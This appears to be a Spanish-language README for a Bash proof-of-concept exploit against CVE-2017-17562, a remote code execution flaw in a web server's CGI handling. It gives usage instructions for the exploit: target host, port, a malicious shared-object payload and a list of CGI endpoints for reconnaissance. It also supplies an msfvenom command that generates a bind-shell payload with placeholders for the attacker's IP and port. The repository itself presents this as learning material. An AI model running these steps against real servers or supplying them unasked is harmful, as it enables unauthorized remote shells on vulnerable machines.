
PoC para CVE-2017-17562 escrito en bash
Una implementación de PoC en Bash para CVE-2017-17562.
Requiere curl para elaborar peticiones HTTP.
Basado en las implementaciones de Metasploit y @fssecur3.
Los siguientes argumentos deben configurarse ya que son necesarios para el reconocimiento y envío del payload:
$1: IP/Host of remote vulnerable machine being attacked
$2: Port of remote machine webserver
$4: Path to crafted payload being sent to vulnerable machine
Opcionalmente, también se pueden configurar los siguientes argumentos:
$3: If the web server is running under a TLS/SSL tunnel. Defaults to no
$5: Path to list of known vulnerable CGI endpoints, to be used in reconnaissance phase. Defaults to "cgi.endpoints"
bash exploit.bash 192.168.1.1 80 yes payload.so cgi.endpoints
El presente código es solo para fines de aprendizaje y demostración. No debes usarlo contra objetivos para los que no tengas permiso.
No se proporcionan payloads en este repositorio. Sin embargo, cualquier binario que coincida con la arquitectura del sistema operativo objetivo debería funcionar. Para elaborar un payload de bind shell, puedes usar msfvenon:
msfvenom -a <instruction_set> --platform <os> -p generic/shell_bind_tcp LHOST=<attacker_ip_address> LPORT=<target_bind_port> -f elf-so -o payload.so